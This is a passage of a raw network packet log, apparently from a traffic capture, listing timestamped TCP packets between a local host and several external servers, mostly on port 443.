Nov 15, 2024 16:16:26.967485905 CET	49798	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.967613935 CET	443	49791	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.967665911 CET	49791	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.968400955 CET	49791	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.968488932 CET	443	49791	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:26.968542099 CET	49791	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:26.968636036 CET	49798	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:26.968647957 CET	443	49798	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:26.968821049 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.969034910 CET	49778	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:26.969048977 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:26.969055891 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.969079971 CET	443	49778	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:26.969432116 CET	443	49778	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:26.971240044 CET	49778	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:26.971307993 CET	49778	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:26.971383095 CET	443	49778	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:26.978415012 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.978724003 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:26.978730917 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.988023996 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:26.988092899 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:26.988100052 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.001449108 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.001504898 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.001513958 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.011334896 CET	443	49791	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.054263115 CET	443	49788	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.054320097 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:27.055171013 CET	49788	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.055186987 CET	443	49788	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.055717945 CET	49788	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.055722952 CET	443	49788	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.056330919 CET	49780	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:27.056345940 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:27.059632063 CET	49780	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:27.059636116 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:27.059699059 CET	49780	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:27.059708118 CET	443	49780	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:27.070060968 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.070087910 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.070142031 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.070143938 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.070152044 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.070190907 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.085793018 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.085885048 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.085906029 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.089730024 CET	49794	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.089890957 CET	49774	443	192.168.2.5	18.244.18.38
Nov 15, 2024 16:16:27.089982986 CET	443	49774	18.244.18.38	192.168.2.5
Nov 15, 2024 16:16:27.090137005 CET	49774	443	192.168.2.5	18.244.18.38
Nov 15, 2024 16:16:27.090724945 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.090790987 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.090956926 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.091113091 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.091164112 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.091178894 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.091191053 CET	49793	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.091443062 CET	49804	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.091479063 CET	443	49804	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.091605902 CET	49804	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.091681004 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.091713905 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.091995955 CET	49804	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.092025995 CET	443	49804	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.095212936 CET	443	49793	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.095300913 CET	49793	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.096427917 CET	443	49791	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.096520901 CET	49791	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.096693039 CET	49791	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.096718073 CET	443	49791	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.099886894 CET	443	49790	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.100146055 CET	49790	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.100291967 CET	49790	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.100298882 CET	443	49790	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.101238012 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.101402044 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.101413012 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.109944105 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.110079050 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.110088110 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.119174957 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.119249105 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.119256973 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.128859997 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.128953934 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.128973961 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.131330013 CET	443	49794	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.138417006 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.138473988 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.138482094 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.141843081 CET	49703	443	192.168.2.5	23.1.237.91
Nov 15, 2024 16:16:27.146765947 CET	443	49703	23.1.237.91	192.168.2.5
Nov 15, 2024 16:16:27.148070097 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.148147106 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.148154974 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.157407045 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.157469034 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.157476902 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.166285992 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.166340113 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.166347980 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.172746897 CET	49805	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.172786951 CET	443	49805	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.172926903 CET	49805	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.173203945 CET	49805	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.173218012 CET	443	49805	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.174763918 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.174854040 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.174870968 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.183118105 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.183198929 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.183212996 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.183985949 CET	443	49788	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.184081078 CET	443	49788	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.184645891 CET	49788	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.185344934 CET	49788	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.185353994 CET	443	49788	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.191868067 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.191924095 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.191936970 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.197973013 CET	49806	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.198018074 CET	443	49806	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.198127985 CET	49806	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.198477030 CET	49806	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.198493004 CET	443	49806	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.199332952 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.199398994 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.199408054 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.207667112 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.207724094 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.207731962 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.216959000 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.217012882 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.217020035 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.222029924 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.222084999 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.222093105 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.227724075 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.227787018 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.227793932 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.233002901 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.233058929 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.233067036 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.238333941 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.238414049 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.238440037 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.238447905 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.238514900 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.243535995 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.248924971 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.248984098 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.248994112 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.253914118 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.253988981 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.253999949 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.259212017 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.259298086 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.259305954 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.259341955 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.259480000 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.264410973 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.269534111 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.269615889 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.269618988 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.269639969 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.269685030 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.274748087 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.280116081 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.280194998 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.280196905 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.280216932 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.281188965 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.285435915 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.291297913 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.291372061 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.291378975 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.291397095 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.291507006 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.297616005 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.305141926 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.305228949 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.305306911 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.305315971 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.306327105 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.308264017 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.308851004 CET	443	49778	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:27.313323021 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.313374043 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.313383102 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.318660975 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.318738937 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.318747044 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.318768978 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.318814993 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.325911999 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.329315901 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.329382896 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.329391003 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.332005978 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.332067013 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.332073927 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.336694002 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.336791039 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.336822033 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.336829901 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.336883068 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.341331005 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.346138000 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.346203089 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.346213102 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.350605011 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.350662947 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.350670099 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.421084881 CET	443	49778	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:27.421283007 CET	49778	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:27.421283007 CET	49778	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:27.421307087 CET	49778	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:27.421315908 CET	443	49778	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:27.482350111 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.482563972 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.482686996 CET	49777	443	192.168.2.5	172.217.18.1
Nov 15, 2024 16:16:27.482697964 CET	443	49777	172.217.18.1	192.168.2.5
Nov 15, 2024 16:16:27.565968990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:27.566229105 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:27.687547922 CET	443	49794	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.687628031 CET	49794	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.689594030 CET	443	49797	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.691607952 CET	443	49796	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.698580980 CET	443	49804	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.698873997 CET	49804	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.698892117 CET	443	49804	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.699532032 CET	443	49798	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.700633049 CET	443	49804	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.700696945 CET	49804	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.701169014 CET	443	49795	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.701874018 CET	49804	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.701953888 CET	443	49804	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.702092886 CET	49804	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.702097893 CET	443	49804	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.703476906 CET	49795	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.703495026 CET	443	49795	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.704189062 CET	49795	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.704194069 CET	443	49795	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.704730988 CET	49797	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.704808950 CET	443	49797	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.705255032 CET	49797	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.705271959 CET	443	49797	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.706607103 CET	49796	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.706629038 CET	443	49796	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.707098961 CET	49796	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.707106113 CET	443	49796	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.711538076 CET	49798	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.711551905 CET	443	49798	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.712285042 CET	49798	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.712291002 CET	443	49798	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.804009914 CET	443	49805	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.806185961 CET	49805	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.806207895 CET	443	49805	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.806788921 CET	49807	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.806830883 CET	443	49807	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.806894064 CET	49807	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.807400942 CET	49808	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.807446957 CET	443	49808	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.807537079 CET	49808	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.807693958 CET	49807	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.807713032 CET	443	49807	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.807785988 CET	443	49805	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.807842970 CET	49805	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.807952881 CET	49808	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.807974100 CET	443	49808	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.808712006 CET	49805	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.808805943 CET	443	49805	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.809010983 CET	49805	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.809031010 CET	443	49805	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.815293074 CET	49804	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.829066038 CET	443	49797	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.829224110 CET	443	49797	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.829288960 CET	49797	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.829637051 CET	443	49804	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.829709053 CET	443	49804	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.829762936 CET	49804	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.830456972 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.831835032 CET	443	49795	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.831891060 CET	49804	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.831902981 CET	443	49804	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.832082987 CET	443	49795	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.832145929 CET	49795	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.832680941 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.832690001 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.833065033 CET	49797	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.833101034 CET	443	49797	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.833131075 CET	49797	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.833146095 CET	443	49797	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.834173918 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.834242105 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.835875034 CET	49795	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.835886955 CET	443	49795	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.835899115 CET	49795	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.835903883 CET	443	49795	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.836291075 CET	443	49796	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.837151051 CET	443	49796	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.837198019 CET	49796	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.837220907 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.837301970 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.838285923 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.838294029 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.839667082 CET	443	49798	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.840008020 CET	443	49798	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.840086937 CET	49798	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.841073036 CET	49796	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.841089964 CET	443	49796	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.841104984 CET	49796	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.841110945 CET	443	49796	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.841357946 CET	49798	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.841363907 CET	443	49798	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.841384888 CET	49798	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.841389894 CET	443	49798	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.842931032 CET	49809	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.842967033 CET	443	49809	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.843036890 CET	49809	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.844454050 CET	49809	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.844468117 CET	443	49809	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.848598003 CET	49810	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.848617077 CET	443	49810	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.848680973 CET	49810	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.848959923 CET	49810	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.848975897 CET	443	49810	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.850042105 CET	49811	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.850064993 CET	443	49811	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.850598097 CET	49811	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.851013899 CET	49811	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.851022959 CET	443	49811	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.851560116 CET	49812	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.851581097 CET	443	49812	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.852555990 CET	49812	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.853471041 CET	49812	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.853483915 CET	443	49812	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.864334106 CET	49813	443	192.168.2.5	172.64.41.3
